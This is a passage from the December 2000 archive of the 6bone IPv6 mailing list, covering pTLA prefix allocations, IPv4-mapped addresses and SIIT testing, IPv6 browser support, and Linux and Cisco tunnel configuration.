	baixauli@mat.upc.es

********************************************

From 6bone-owner  Mon Dec 18 09:36:59 2000
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From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: new 6bone pTLA's allocated 
In-reply-to: Your message of Sun, 17 Dec 2000 18:56:00 PST.
             <5.0.0.25.0.20001217185223.023a4650@imap2.es.net> 
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> The comment period for both INTOUCH-NL and CERN pTLA's has passed with no 
> comments. Thus I have assigned their pTLA's as follows:

Hey now!  I know I sent a comment about one of those!

But it was a supportive comment, so no harm done.

From 6bone-owner  Mon Dec 18 12:32:26 2000
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To: "Matt Crawford" <crawdad@fnal.gov>
From: Bob Fink <fink@es.net>
Subject: Re: new 6bone pTLA's allocated 
Cc: 6BONE List <6bone@ISI.EDU>
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At 11:36 AM 12/18/2000 -0600, Matt Crawford wrote:
> > The comment period for both INTOUCH-NL and CERN pTLA's has passed with no
> > comments. Thus I have assigned their pTLA's as follows:
>
>Hey now!  I know I sent a comment about one of those!
>
>But it was a supportive comment, so no harm done.

You are correct! I meant to say no negative comments :-)


Thanks,

Bob


From 6bone-owner  Mon Dec 18 12:49:08 2000
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Date: Mon, 18 Dec 2000 12:47:48 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new 6bone pTLA's allocated - correction
Cc: Pim van Pelt <pim@wise-guys.nl>, Joop Joosten <Joop.Joosten@cern.ch>,
        Bill Manning <bmanning@ISI.EDU>
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6bone folk,

Fortunately ville of Stealth Communications pointed out to me that I had 
mis-allocated the two new pTLA's for INTOUCH-NL and CERN. Asleep at the 
helm I guess :-)

I allocated:

INTOUCH-NL 3FFE:8200::/28

CERN       3FFE:8300::/28


But it should really be:

INTOUCH-NL 3FFE:8110::/28

CERN       3FFE:8120::/28


Sorry for the confusion, and thanks again to ville!

Bob


From 6bone-owner  Mon Dec 18 12:58:33 2000
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From: Pim van Pelt <pim@wise-guys.nl>
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Subject: Re: new 6bone pTLA's allocated - correction
In-Reply-To: <5.0.0.25.0.20001218124433.027a5a38@imap2.es.net> from Bob Fink
 at "Dec 18, 2000 12:47:48 pm"
To: Bob Fink <fink@es.net>
Date: Mon, 18 Dec 2000 22:01:42 +0100 (CET)
CC: 6BONE List <6bone@ISI.EDU>, Pim van Pelt <pim@wise-guys.nl>,
        Joop Joosten <Joop.Joosten@cern.ch>, Bill Manning <bmanning@ISI.EDU>
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> 6bone folk,
> 
> Fortunately ville of Stealth Communications pointed out to me that I had 
> mis-allocated the two new pTLA's for INTOUCH-NL and CERN. Asleep at the 
> helm I guess :-)
AIEE.  :(

I am changing router and DNS to reflect this. Thanks viha.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt       Email: pvanpelt@wise-guys.nl
http://www.wise-guys.nl/      GSM: +31629064049
-----------------------------------------------

From 6bone-owner  Mon Dec 18 18:26:52 2000
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From: Haisang Wu <hswu@ns.6test.edu.cn>
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Subject: What's wrong with 3ffe:2900::/24
To: 6bone@ISI.EDU
Date: Tue, 19 Dec 2000 10:20:49 +0800 (CST)
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hi, dear all:
  I remember someone said several days ago that 3ffe:2900::/ was in trouble.
But I could not remember what they told us to do. 
  Some records in my routing table are strange. It seems that they should not
appear here.

3ffe:2900:1::8/126                3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:1::c/126                3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:1::10/126               3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:1::14/126               3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:1::1c/126               3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:1::28/127               3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:1::2c/127               3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:2::/48                  3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:3::/48                  3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:6::/48                  3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:7::/48                  3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:8::/48                  3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:a::/48                  3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:a:2::/64                3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:a:3::/64                3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:a:4::/64                3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:a:5::/64                3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:a:7::/64                3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:a:9::/64                3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:a:a::/64                3ffe:3200:2:fffe::1           UG1c       gif0
3ffe:2900:a:b::/64                3ffe:3200:2:fffe::1           UG1c       gif0

Could anyone give me some suggestion? I am not so good at BGP. :-(
BTW, I am using Zebra 0.88.
Thanks in advance.
best
Haisang

From 6bone-owner  Tue Dec 19 00:23:55 2000
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Date: Tue, 19 Dec 2000 09:24:44 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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To: Jun-ichiro itojun Hagino <itojun@iijlab.net>
CC: 6bone <6bone@ISI.EDU>
Subject: Re: IPv4-mapped IPv6 addresses
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Jun-ichiro itojun Hagino wrote:
> 
> >       I need an explanation about IPv4-mapped addresses...
> 
>         at least you must tell us which operating system you are using.

	Sorry.
	Red Hat 6.0 with Linux 2.2.14 and other aplications upgrades for IPv6.

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Tue Dec 19 03:29:09 2000
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Date: Tue, 19 Dec 2000 12:30:14 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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Julio Baixauli wrote:
> 
>         Hello!
> 
>         I need an explanation about IPv4-mapped addresses...
> 
>         I'm programming a client application for test purposes. Basically, I
> open a socket and connect that socket to an IPv6 address. Next, I read
> characters from that socket.
> 
>         There is no problems when I try to connect to global-scope addresses,
> like 3ffe:XXXXXXXXXX. In this cases I can connect.
>         The problem comes when I try to connect to IPv4-mapped addresses. In
> this cases connect returns 'no route to host' or 'network is
> unreachable'. This is false!! because I add a route to IPv4-mapped
> addresses, and when I ping these addresses I can see, at least, ICMP
> Neighbor Solicitation, for the gateway, on the net.
> 
>         So... what's failing?
>         Do kernel any diferences between raw-sockets (ping) and stream-sockets
> (tcp)?
>         Are there any implications with IPv4-mapped addresses?
>         I've no idea about what happens...
> 
>         Thank you very much, and I'm sorry for my horrible english.


	I've discovered that when I try to connect to IPv4-mapped addresses the
kernel traduces these addresses to the corresponding IPv4 address, and
the results are like we should working in IPv4.
	This seems not wrong, because IPv4-mapped addresses represents
IPv4-only nodes, but what happens in SIIT environment? This algorithm
says that IPv6-only nodes have to use IPv4-mapped addresses to
comunicate with a SIIT translator, which should traduce the packets to
IPv4.
	Implies this that dual nodes can't use SIIT translator to comunicate to
IPv4-only nodes? Are there any form to specify the way to handle IPv6
packets with IPv4-mapped destination address for dual nodes?

	Anybody can see any light at the end of the tunnel?

	Thank you very much!!

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Tue Dec 19 03:34:26 2000
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Date: Tue, 19 Dec 2000 12:35:39 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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	Hello again.

	I've a linux dual-stack node. I would like to work with IPv6-stack ONLY
(no IPv4-stack in the kernel). 

	Is this possible?? How?

	Thank you very much again!

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Tue Dec 19 14:41:04 2000
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From: "Li Hong" <jeff@muzi.com>
To: Julio Baixauli <baixauli@mat.upc.es>, 6bone <6bone@ISI.EDU>
Date: Wed, 20 Dec 2000 06:41:58 +0800
Subject: Re: IPv4-mapped IPv6 addresses
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-----Original Message-----
From: Julio Baixauli <baixauli@mat.upc.es>
Date: Mon, 18 Dec 2000 14:13:42 +0100
To: 6bone <6bone@ISI.EDU>
Subject: IPv4-mapped IPv6 addresses


> 
> 	Hello!
> 
> 	I need an explanation about IPv4-mapped addresses... 
> 
> 	I'm programming a client application for test purposes. Basically, I
> open a socket and connect that socket to an IPv6 address. Next, I read
> characters from that socket.
> 
> 	There is no problems when I try to connect to global-scope addresses,
> like 3ffe:XXXXXXXXXX. In this cases I can connect.
> 	The problem comes when I try to connect to IPv4-mapped addresses. In
> this cases connect returns 'no route to host' or 'network is
> unreachable'. This is false!! because I add a route to IPv4-mapped
> addresses, and when I ping these addresses I can see, at least, ICMP
> Neighbor Solicitation, for the gateway, on the net.
> 

I built my IPv6 client/server using IPv4-mapped IPv6 address, address format like ::ffff:a.b.c.d  

These two hosts were on the same Ethernet. 

 


> 	So... what's failing?
> 	Do kernel any diferences between raw-sockets (ping) and stream-sockets
> (tcp)?
> 	Are there any implications with IPv4-mapped addresses?
> 	I've no idea about what happens...
> 
> 	Thank you very much, and I'm sorry for my horrible english.
> 
> -- 
> ********************************************
> 
> 	Julio Baixauli Garreta
> 	baixauli@mat.upc.es
> 
> ********************************************
> 
> 
-- 
_______________________________________________
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From 6bone-owner  Tue Dec 19 20:48:12 2000
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From: =?ks_c_5601-1987?B?sei1tb/P?= <ddowani@sktelecom.com>
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Date: Wed, 20 Dec 2000 13:47:24 +0900
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Hi~

Does Netscape6 support IPv6 ?
Or, Do I need some patch?

Anyway, plz tell me some information about netscape6 and 
                            the site which I can get the netscape6 and its patch.

Thanks.


From 6bone-owner  Wed Dec 20 01:30:45 2000
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Date: Wed, 20 Dec 2000 10:31:57 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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To: Li Hong <jeff@muzi.com>
CC: 6bone <6bone@ISI.EDU>
Subject: Re: IPv4-mapped IPv6 addresses
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Li Hong wrote:
> 
> I built my IPv6 client/server using IPv4-mapped IPv6 address, address format like ::ffff:a.b.c.d
> 
> These two hosts were on the same Ethernet.

	Are you sure the communication is made in IPv6? The kernel handles
these addresses like it would be IPv4 addresses (...I think). How you
can skip this default conduct?

	In my test program I make:

socket() with PF_INET6 & SOCK_STREAM
connect() to ::ffff:a.b.c.d

...and I can see, at least, ARP packets for a.b.c.d (if any route is
found in the route table). This implies that the connection will be made
in IPv4, isn't it?

	Could you send me any code that can clarify me?	

	Thank you very much!!

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Wed Dec 20 02:07:46 2000
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To: =?iso-8859-1?Q?=B1=E8=B5=B5=BF=CF?= <ddowani@sktelecom.com>
CC: 6bone@ISI.EDU
Subject: Netscape6 + IPv6
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Hello,

On Linux just download. Netscape 6 uses Mozilla engine.
http://home.netscape.com/computing/download/index.html

On Win2000 SP1 the IPv6 patch of Microsoft doesn not
make Netscape6 IPv6-capable, but after patching
the Internet Explorer is IPv6-capable there.

Regards: Endre Futo


±èµµ¿Ï wrote:
> 
> Hi~
> 
> Does Netscape6 support IPv6 ?
> Or, Do I need some patch?
> 
> Anyway, plz tell me some information about netscape6 and
>                             the site which I can get the netscape6 and its patch.
> 
> Thanks.

From 6bone-owner  Wed Dec 20 06:33:23 2000
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From: "Burgess,David B." <burgess@mitre.org>
To: "=?ks_c_5601-1987?B?ob5lpeyl7KKvSQ==?=" <ddowani@sktelecom.com>,
        <6bone@ISI.EDU>
Subject: RE: 
Date: Wed, 20 Dec 2000 08:27:22 -0600
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After playing with Netscape 6 for a while, I've come to the conclusions it
doesn't even support IPv4.  I deinstalled it - it was completely unusable.

Dave

> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of ±èµµ¿Ï
> Sent: Tuesday, December 19, 2000 10:47 PM
> To: 6bone@ISI.EDU
> Subject:
>
>
> Hi~
>
> Does Netscape6 support IPv6 ?
> Or, Do I need some patch?
>
> Anyway, plz tell me some information about netscape6 and
>                             the site which I can get the
> netscape6 and its patch.
>
> Thanks.
>
>


From 6bone-owner  Wed Dec 20 08:18:10 2000
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From: "Li Hong" <jeff@muzi.com>
To: itojun@iijlab.net, Julio Baixauli <baixauli@mat.upc.es>
Cc: Li Hong <jeff@muzi.com>, 6bone <6bone@ISI.EDU>
Date: Thu, 21 Dec 2000 00:19:16 +0800
Subject: Re: IPv4-mapped IPv6 addresses
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**************************************************
client6 code:

sockfd = socket(AF_INET6, SOCK_STREAM, 0)

bzero(&servaddr, sizeof(servaddr));
servaddr.sin6_family = AF_INET6;
servaddr.sin6_port   = htons(5000); 
inet_pton(AF_INET6, argv[1], &servaddr.sin6_addr)

connect(sockfd, (SA *) &servaddr, sizeof(servaddr)

server6 code:

listenfd = Socket(AF_INET6, SOCK_STREAM, 0);

bzero(&servaddr, sizeof(servaddr));
servaddr.sin6_family = AF_INET6;
servaddr.sin6_addr   = ipv6addr_any;
servaddr.sin6_port   = htons(5000);   

Bind(listenfd, (SA *) &servaddr, sizeof(servaddr));
connfd = Accept(listenfd, (SA *) &cliaddr, &len);  


************************************************

The inet_pton function is only valid for AF_INET and AF_INET6, you can try AF_INET6 instead of PF_INET6?            

I am not sure Linux box, I am using FreeBSD 4.1 as testing bed. 

In my testing, the following testing cases will using  IPv4-mapped IPv6 address:

1) IPv4 client communicates with IPv6 server, the server will use IPv4-mapped IPv6 address.

2) IPv6 client communicates with IPv4 server, the client will use IPv4-mapped IPv6 address

3) IPv6 client communicates with IPv6 server, the client and server will both accept IPv4-mapped IPv6 address.

Both 1,2 will use IPv4 datagram, 3 will use IPv6 datagram. 


-----Original Message-----
From: itojun@iijlab.net
Date: Wed, 20 Dec 2000 21:26:19 +0900
To: Julio Baixauli <baixauli@mat.upc.es>
Subject: Re: IPv4-mapped IPv6 addresses


> 
> >Li Hong wrote:
> >> 
> >> I built my IPv6 client/server using IPv4-mapped IPv6 address, address format like ::ffff:a.b.c.d
> >> These two hosts were on the same Ethernet.
> >	Are you sure the communication is made in IPv6? The kernel handles
> >these addresses like it would be IPv4 addresses (...I think). How you
> >can skip this default conduct?
> >
> >	In my test program I make:
> >
> >socket() with PF_INET6 & SOCK_STREAM
> >connect() to ::ffff:a.b.c.d
> >
> >...and I can see, at least, ARP packets for a.b.c.d (if any route is
> >found in the route table). This implies that the connection will be made
> >in IPv4, isn't it?
> >

> >	Could you send me any code that can clarify me?	
> 
> 	if the following conditions are true:
> 	- you have configured your (linux) node as IPv4/IPv6 dual stack node
> 	- linux IPv6 stack supports behavior presented in RFC2553 section 3.7
> 	traffic toward IPv6 mapped address (on top of AF_INET6 socket) will
> 	go out the node as IPv4 traffic.  if you run tcpdump on loopback
> 	interface while you run "telnet ::ffff:127.0.0.1", you will see IPv4
> 	traffic.  this is expected behavior and you cannot test SIIT with the
> 	node.
> 
> 	if I understand correctly, SIIT specification is written to support
> 	IPv6-only nodes.  you need to at least remove RFC2553 section 3.7
> 	behavior from your test node.  also, you may need to remove IPv4 stack
> 	in your kernel.  at this moment I don't think there's any stack
> 	capable of doing the latter.
> 
> itojun
> 
> 
-- 
_______________________________________________
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From 6bone-owner  Thu Dec 21 03:03:28 2000
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Date: Thu, 21 Dec 2000 12:04:26 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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To: Li Hong <jeff@muzi.com>
CC: itojun@iijlab.net, 6bone <6bone@ISI.EDU>
Subject: Re: IPv4-mapped IPv6 addresses [no need to read this]
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Li Hong wrote:
> 
> ...........
>
> I am not sure Linux box, I am using FreeBSD 4.1 as testing bed.
> 
> In my testing, the following testing cases will using  IPv4-mapped IPv6 address:
> 
> 1) IPv4 client communicates with IPv6 server, the server will use IPv4-mapped IPv6 address.
> 
> 2) IPv6 client communicates with IPv4 server, the client will use IPv4-mapped IPv6 address
> 
> 3) IPv6 client communicates with IPv6 server, the client and server will both accept IPv4-mapped IPv6 address.
> 
> Both 1,2 will use IPv4 datagram, 3 will use IPv6 datagram.


	Thank you very much!
	
	This mail won't add any more questions to the list. I only write this
mail to thank everybody that has spent their time in this questions, and
to explain my experience with SIIT algorithm, if anybody are interested.
Now I explain my solution, a temporaly solution until the gurus of IPng
clarify the question about IPv4-mapped addresses.
	So, thank you very much again if you don't want to read more about this
and excuse me for my poor english.

....

	I've been seeing draft-itojun-ipv6-transition-abuse-01.txt, and I see
many problems with IPv4-mapped addresses and SIIT algorithm. This
problems beyond me. There are problems deciding how the kernel handles
IPv4-mapped addresses, problems with the handling of FTP (PORT/PASV &&
EPSV/EPRT), problems of malicious use of these addresses (DoS attacks,
etc...)

	My original intention was test SIIT software (IPv4 to IPv6 headers
translation, and viceversa). The SIIT algorithm says that IPv6 node MUST
use IPv4-mapped address to comunicate to IPv4 node through SIIT
translator. Due to the problems mentioned above, I've decided to make
the test with other types of addresses. I've choosed addresses with the
form ::ffff:ffff:0:0/96 (that looks like ::ffff:0:0/96, IPv4-mapped).
This addresses has been choosed because don't cange the checksum of tcp
headers (this is mentioned in SIIT with IPv4-translatable addresses
too).
	this addresses are handled normaly for the kernel (native IPv6, one
problem less). And don't have the problems of itojun-abuse (bacause the
kernel don't translate them to IPv4)

	At this point, I can test my SIIT software. It seems that work. I can
GET (http) a HTML document of IPv4 node from IPv6 node, translating the
headers in a third node with the SIIT software. I only have made this
test. More tests are comming.

	Again, thank you very much for the help you give me.

	Bye!
-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Thu Dec 21 03:28:06 2000
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Date: Thu, 21 Dec 2000 14:25:11 +0300 (MSK)
From: Grigory Kljuchnikov <grn@ispras.ru>
To: Julio Baixauli <baixauli@mat.upc.es>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: IPv4-mapped IPv6 addresses
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Hello,

We have a project with SIIT, and have had the problem with IPv4-mapped
addresses. We use FreeBSD with KAME, and there is an implementation
of using IPv4-mapped addresses in KAME as documented in RFC2553
section 3.7. Therefore we use addresses like ::ffff:ffff:a.b.c.d
instead ::ffff:a.b.c.d for our SIIT implementation.

Grigory.

P.S. The origin message from KAME developer is:

------------------------------------
Date: Wed, 29 Nov 2000 22:05:49 +0900
From: itojun@iijlab.net
Reply-To: snap-users@kame.net
To: User Dimka <dimka@ispras.ru>
Cc: snap-users@kame.net
Subject: (KAME-snap 3684) Re: Problem with my pseudo-iface and IPv6(FreeBSD)


>>         ::ffff:xxxx:xxxx is used for very specific purposes in IPv6
>>         specification.  you should not use it for other purposes.
>But this is precise my case: I know for what this addresses is used and
>I'm attempting playing with siit - so...
>Tell me, please, what do KAME stack  with  ::ffff:xxxx:xxxx ?
>Thanks anyway.

        as documented in INSTALL, KAME does not support SIIT environment.
        the address (::ffff:xxxx:xxxx) is used as documented in RFC2553
        section 3.7.

itojun
-----------------------------------------------

On Wed, 20 Dec 2000, Julio Baixauli wrote:

> 	Are you sure the communication is made in IPv6? The kernel handles
> these addresses like it would be IPv4 addresses (...I think). How you
> can skip this default conduct?
> 
> 	In my test program I make:
> 
> socket() with PF_INET6 & SOCK_STREAM
> connect() to ::ffff:a.b.c.d
> 
> ...and I can see, at least, ARP packets for a.b.c.d (if any route is
> found in the route table). This implies that the connection will be made
> in IPv4, isn't it?
> 
> 	Could you send me any code that can clarify me?	
> 
> 	Thank you very much!!
> 
> -- 
> ********************************************
> 
> 	Julio Baixauli Garreta
> 	baixauli@mat.upc.es
> 
> ********************************************
> 


Grigory Klyuchnikov, System Engineer,
Institute for System Programming 
Russian Academy of Sciences


From 6bone-owner  Thu Dec 21 03:53:40 2000
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Date: Thu, 21 Dec 2000 12:54:45 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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Subject: Re: IPv4-mapped IPv6 addresses
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Grigory Kljuchnikov wrote:
> 
> Hello,
> 
> We have a project with SIIT, and have had the problem with IPv4-mapped
> addresses. We use FreeBSD with KAME, and there is an implementation
> of using IPv4-mapped addresses in KAME as documented in RFC2553
> section 3.7. Therefore we use addresses like ::ffff:ffff:a.b.c.d
> instead ::ffff:a.b.c.d for our SIIT implementation.
> 
> Grigory.


	Is not a coincidence that I choose the same kind of address?? I think
that Murphy should be seeing us, and he should be laugh


From 6bone-owner  Thu Dec 21 07:45:42 2000
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Date: Thu, 21 Dec 2000 16:46:28 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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To: itojun@iijlab.net
CC: Li Hong <jeff@muzi.com>, 6bone <6bone@ISI.EDU>
Subject: Re: IPv4-mapped IPv6 addresses
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itojun@iijlab.net wrote:

>         if the following conditions are true:
>         - you have configured your (linux) node as IPv4/IPv6 dual stack node
>         - linux IPv6 stack supports behavior presented in RFC2553 section 3.7
>         traffic toward IPv6 mapped address (on top of AF_INET6 socket) will
>         go out the node as IPv4 traffic.  if you run tcpdump on loopback
>         interface while you run "telnet ::ffff:127.0.0.1", you will see IPv4
>         traffic.  this is expected behavior and you cannot test SIIT with the
>         node.
> 
>         if I understand correctly, SIIT specification is written to support
>         IPv6-only nodes.  you need to at least remove RFC2553 section 3.7
>         behavior from your test node.  also, you may need to remove IPv4 stack
>         in your kernel.  at this moment I don't think there's any stack
>         capable of doing the latter.
> 
> itojun

	In addition, SIIT talks about IPv6/IPv4 dual nodes that have IPv4 stack
but which aren't configured with any IPv4 address, too.


-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Thu Dec 21 08:08:24 2000
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Date: Thu, 21 Dec 2000 11:10:43 -0500
From: Jose Munoz <jmunoz@inictel.gob.pe>
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To: 6bone@inf.uach.cl, 6bone@ISI.EDU
Subject: Tunelling =?iso-8859-1?Q?autom=E1tico?= hacia FreeNet6. Automatic 
	tunneling to Freenet6
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Hola a todos los miembros de la lista 6bone@inf.uach.cl:

El objetivo de este mensaje es un poco contar lo que he realizado aqui
en INICTEL, como los primeros pasos experimentando con IPv6 que como
verán son cosas muy simples.

En primer lugar estamos trabajando con Linux  kernel 2.2.18, que prueba
ser mucho más estable que las anteriores, pues ya habia tenido algunos
problemas con 2.2.16 y 2.2.17.
Se Compiló el kernel con las opciones respectivas de IPv6, además de
otras relacionadas con QoS.
Luego se verificó  la nueva dirección IPv6 en mi interfaz de red con
"ifconfig" - utilitario para configurar las interfaces de red residentes
en el kernel  (en cierta forma similar  a "Configuración de red" ,
"ipconfig", "winipcfg" de Windows). Esta dirección es la generada
automáticamente y válida sólo en el enlace local y en mi caso
particular, una de las máquinas tiene como dirección:
fe80::250:daff:fe8e:72d0/10
Igualmente la interfaz de red posee su propia dirección IPv4, es decir
está trabajando en el modo de dual stack.
A continuación se estableció un tunel hacia alguna red IPv6 global, para
ello por cuestiones de facilidad se empleo los servicios de Freenet6 en
Canadá. Esto consiste básicamente en enviar via WEB una solicitud tras
lo cual se recibe un script en perl. Si tenemos instalado ese soporte se
puede ejecutar directamente, sino es muy simple de hacerlo tambien
manualmente con "ifconfig" y "route" (este último permite crear tablas
de enrutamiento estáticas).

Los parámetros para la máquina anteriormente mencionada fueron:
Extremo del tunel en la estación localizada en INICTEL:
Dirección IPv4             : 200.37.131.44
Dirección IPv6 global :  3ffe:b00:c18:1fff:0:0:0:29f
Dirección IPv6 local   :  fe80::250:daff:fe8e:72d0

Ectremo del tunel en Freenet6:
Dirección IPv4             :  206.123.31.102
Dirección IPv6 global :  3ffe:b00:c18:1fff:0:0:0:29e

El script tenía los siguientes comandos:

ifconfig sit0 up
ifconfig eth0 add 3ffe:b00:c18:1fff:0:0:0:29f
ifconfig sit0 tunnel ::206.123.31.102
ifconfig sit1 up
route -A inet6 add ::0/ gw fe80::206.123.31.102 dev sit1

Bien,  los ejecuté, probé haciendo ping6 hacia algunos sitios IPv6 y
funcionó correctamente.

Lo próximo que haré para confirmar la operación del mismo será instalar
otro tunel en otra máquina y nuevamente hacer un ping6 entre ambas.

Eso es todo por el momento, no se si sea de utilidad para alguien, pero
se los envió con la mejor buena voluntad.

Saludos

José Luis Muñoz
INICTEL

Hello everybody (6bone@isi.edu list members):

The main purpose of this message is to share with all of you the initial
trials that we are making at INICTEL working with IPv6,  certainly quite
simple steps.
First, we are working with Linux 2.2.18,  a very stable version (i am
waiting impatiently for 2.4!),  in the past I had some problems with
2.2.16 an 2.217
The kernel was compiled with the respective IPv6 options as well as with
QoS support and worked fine.
It was checked out the new automatic IPv6 address with ifconfig, having
the following value:    fe80::250:daff:fe8e:72d0, also the IPv4 address
was attached to the eth0 device.
The next step was to set up a tunnel using the services of Freenet6, I
fill up a small  registration form and they sent me back a script in
Perl, if you have installed Perl  ok!, but if not is very simple to type
mannually the respective shell commands. this script is indicated above
(in the spanish part of this message) and again, it worked perfectly.
Finally I am thinking to set up a new tunnel in another linux box and
make a ping6 between them.

Well, sorry for this long message and my bad english skill . I hope it
would be useful for someone.

Regards

Jose Munoz



From 6bone-owner  Thu Dec 21 10:04:30 2000
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Date: Thu, 21 Dec 2000 13:06:55 -0500
From: Jose Munoz <jmunoz@inictel.gob.pe>
Organization: INICTEL
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To: clazo <clazo@inf.uach.cl>, 6bone@ISI.EDU
CC: 6bone@inf.uach.cl
Subject: Re: Tunelling =?iso-8859-1?Q?autom=E1tico?= hacia FreeNet6. Automatic 
	tunneling to Freenet6
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clazo escribió:

> eureka...
> yo tambien hice lo mismo mi ip es  3ffe:b00:c18:1fff::5dd
> este es un linux 7.0 y tiene instalado un ftp ademas mi
> nombre es ipv6.cl.freenet.net
>
> pruebalo y me dices si contesta.. e
>
> Christian.

Hola Christian:

Hice la prueba y funciona correctamente, acabo de establecer otro tunel en la
otra maquina que tengo disponible y tambien responde a los ping6. Me parece
que habria que hacer algo más interesante, por ejemplo establecer un router
con soporte ipv6 y seguir probando.

Saludos

José Luis Muñoz


(English version for 6bone@isi.edu)
Hi Christian
I made the test and worked perfectly, I just finished to set up a new tunnel
in other machine and also replied my pings. I guess we can try  more
interesting things, e.g. implement an ipv6 capable router ...

P.D. Como hago para acceder a una pagina IPv6 en el web?. Intente hacerlo a
www.kame.net y no pude ver la tortuga moviendose (cosa que solo se vería si
mi browser esta preparado para IPv6)



From 6bone-owner  Thu Dec 21 13:06:26 2000
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From: Jose Munoz <jmunoz@inictel.gob.pe>
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To: jmunoz@inictel.gob.pe,
        "lista 6bone en =?iso-8859-1?Q?espa=F1ol?=" 
	<6bone@inf.uach.cl>,
        6bone@ISI.EDU
Subject: Mozilla 0.6. IPv6 capable browser and.... Merry Xmas!
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Hola otra vez:

Como descubrí que la version de Netscape 4.6 para Linux no soporta IPv6,
gracias a la información de Horacio, baje la versión 0.6 de Mozilla
(http://www.mozilla.org).
La instalación es muy sencilla y efectivamente, soporta IPv6, pues
accese a la página www.kame.net y al fin pude ver la tortuga moviendose.
Probe ejecutar este mismo browser en otra máquina con IPv4 (solo para
estar seguro) y no fue capaz de ver las páginas del servidor
www.kame.net con código IPv6, cabe señalar que este navegador es
aparentemente más lento que el Netscape 4.6 que tenía pero tiene una
interface bastante atractiva y sinceramente me agradó.

Seguimos comunicandonos y si no tengo la oportunidad luego, pues mañana
con las celebraciones en el trabajo me puedo olvidar.....

Feliz Navidad para todos!!!!

José Muñoz


(english version)

Hi again:

I tried with Mozilla 0.6 as a IPv6 capable browser and certainly it
worked fine. It
seems slower than my older Netscape 4.6 but the look is good and i
really like it.

That is all for now and, if I don't have a chance later to tell
you.......

Merry Christmas and Happiness for all !!!!


From 6bone-owner  Fri Dec 22 03:06:56 2000
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From: "Mithrandir" <mithrandir@skynet.be>
To: "6bone" <6bone@ISI.EDU>
Subject: cisco router
Date: Fri, 22 Dec 2000 12:06:47 +0100
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Hello there guys,

the Verelst Johan (tcp6@mail.be) account has changed to
mithrandir@skynet.be.

I read there are several people working with Cisco 2500 series routers.
Can any of you give me a sample of a "show running config" I can't seem to
get my tunnel up and running.
Don't worry I have an IPv6 compatible IOS.
A "show IP interfaces" would also be very helpfull.
Thx for all your hard work i'm trying to steel.
(just kidding) and MERRY CHRISTMAS you all!!
and maybe A HAPPY NEW YEAR!!


From 6bone-owner  Fri Dec 22 05:58:48 2000
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Subject: Re: cisco router
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On Fri, 22 Dec 2000, Mithrandir wrote:

> Hello there guys,
> 
> the Verelst Johan (tcp6@mail.be) account has changed to
> mithrandir@skynet.be.
> 
> I read there are several people working with Cisco 2500 series routers.
> Can any of you give me a sample of a "show running config" I can't seem to
> get my tunnel up and running.
> Don't worry I have an IPv6 compatible IOS.
> A "show IP interfaces" would also be very helpfull.
> Thx for all your hard work i'm trying to steel.
> (just kidding) and MERRY CHRISTMAS you all!!
> and maybe A HAPPY NEW YEAR!!
> 
> 
Here's a templete that I use for creating tunnels on Cisco's:

interface TunnelN
 description IPv6 Tunnel to COMPANY (Name <email>)
 no ip address
 no ip directed-broadcast
 ipv6 address ipv6:address::1/64
 tunnel source Loopback0
 tunnel destination ipv4.address
 tunnel mode ipv6ip
 tunnel checksum

That seems to work everytime. ;)


Merry Christmas.

-- 
David Gethings			UUNET, a Worldcom Company,
Network Activation Engineer	Internet House, 332 Science Park,
Email: davidg@uk.uu.net		Cambridge, CB4 0BZ, United Kingdom.
Phone: +44 (0)1223 581515	http://www.uk.uu.net/



From 6bone-owner  Fri Dec 22 07:34:14 2000
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From: neal rauhauser <nealr@pensat.com>
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Subject: Cisco router IPv6 snippets /w RIP config
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  Here is a snippet of config from a cisco 7206 we use as our border router.
Comments are inline with features. The biggest bump in the road for people
who know cisco IPv4 routing is the way IPv6 RIP is set up - you must enable
it globally and then set each interface you wish to participate. This is
*very* similar to the way DVMRP (multicast routing) is handled - looks like
the just pulled the code from there and made it work for IPv6.

   In terms of address I'd suggest you use a /64 for each LAN interface and a
/127 for each WAN interface. You're not seeing things - a /127 is correct.
IPv6 uses multicasts for ARP and doesn't need the network and broadcast
addresses that you're used to in IPv4.

   I am stuck here and bored :-( If you need help drop me a line ...

! these are global commands to enable IPv6 routing - pensat is my employer's
name
